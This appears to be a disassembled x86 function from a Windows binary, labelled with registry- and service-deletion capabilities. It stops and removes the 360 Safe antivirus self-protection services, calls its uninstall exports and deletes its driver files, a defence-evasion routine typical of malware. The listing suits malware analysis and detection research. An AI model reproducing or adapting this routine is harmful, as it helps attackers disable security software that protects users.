Function at 0x402050
Capabilities:
Delete registry key
Delete registry value
Delete service

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x834
mov eax, dword [0x41c288]
xor eax, esp
mov dword [esp + 0x830], eax
push ebx
push esi
push edi
push 0xf003f
push 0
push 0
call dword [0x417008]
mov edi, eax
test edi, edi
je 0x4020d1
mov ebx, dword [0x417004]
push 0x10000
push str.HookPort
push edi
call ebx
mov esi, eax
test esi, esi
je 0x4020a9
push esi
call dword [0x41700c]
push esi
call dword [0x417010]
push 0x10000
push str.360SelfProtection
push edi
call ebx
mov esi, eax
test esi, esi
je 0x4020ca
push esi
call dword [0x41700c]
push esi
call dword [0x417010]
push edi
call dword [0x417010]
push 0x208
lea eax, [esp + 0x224]
push 0
push eax
call fcn.00409180
push 0x208
lea ecx, [esp + 0x28]
push 0
push ecx
call fcn.00409180
add esp, 0x18
push 0x104
lea edx, [esp + 0x224]
push edx
push 0
call dword [0x417038]
lea eax, [esp + 0x220]
push eax
call dword [0x4171b8]
push str...efiproc.dll
lea ecx, [esp + 0x224]
push ecx
lea edx, [esp + 0x20]
push edx
call dword [0x4171b4]
lea eax, [esp + 0x18]
push eax
call fcn.00402300
mov ebx, dword [0x417040]
mov edi, dword [0x417034]
add esp, 4
test eax, eax
je 0x402173
lea ecx, [esp + 0x18]
push ecx
call ebx
mov esi, eax
test esi, esi
je 0x402173
push str.EfiUnloadBitmap
push esi
call edi
test eax, eax
je 0x40216c
call eax
push esi
call dword [0x417048]
push str.restag
push str.SOFTWARE360Safe_safemon
push 0x80000002
call dword [0x4171a8]
call fcn.004023d0
test eax, eax
je 0x4021dc
push str...deepscanqutmload.dll
lea edx, [esp + 0x224]
push edx
lea eax, [esp + 0x20]
push eax
call dword [0x4171b4]
lea ecx, [esp + 0x18]
push ecx
call fcn.00402300
add esp, 4
test eax, eax
je 0x4021dc
lea edx, [esp + 0x18]
push edx
call ebx
mov esi, eax
test esi, esi
je 0x4021dc
push str.Uninstall
push esi
call edi
test eax, eax
je 0x4021d5
call eax
push esi
call dword [0x417048]
mov esi, dword [0x4171b0]
push str.SYSTEMCurrentControlSetServices360SelfProtection
push 0x80000002
call esi
push str.SYSTEMCurrentControlSetServicesHookPort
push 0x80000002
call esi
push str.SYSTEMCurrentControlSetServicesEfiMon
push 0x80000002
call esi
push 0x208
lea eax, [esp + 0x634]
push 0
push eax
call fcn.00409180
push 0x208
lea ecx, [esp + 0x438]
push 0
push ecx
call fcn.00409180
add esp, 0x18
push 0x104
lea edx, [esp + 0x42c]
push edx
mov dword [esp + 0x14], str.hookport.sys
mov dword [esp + 0x18], str.360SelfProtection.sys
mov dword [esp + 0x1c], str.efimon.sys
call dword [0x417044]
mov ecx, 0x104
lea eax, [esp + 0x428]
cmp word [eax], 0
je 0x402278
add eax, 2
sub ecx, 1
jne 0x402268
jmp 0x402296
test ecx, ecx
je 0x402296
mov eax, 0x104
sub eax, ecx
mov ecx, 0x104
sub ecx, eax
lea edx, [esp + eax*2 + 0x428]
call fcn.00401e10
mov edi, dword [0x41704c]
xor esi, esi
mov edi, edi
push 0x208
lea eax, [esp + 0x634]
push 0
push eax
call fcn.00409180
mov ecx, dword [esp + esi*4 + 0x18]
add esp, 0xc
push ecx
lea edx, [esp + 0x42c]
push edx
lea eax, [esp + 0x638]
push eax
call dword [0x4171b4]
lea ecx, [esp + 0x630]
push ecx
call edi
inc esi
cmp esi, 3
jb 0x4022a0
mov ecx, dword [esp + 0x83c]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.0040852e
mov esp, ebp
pop ebp
ret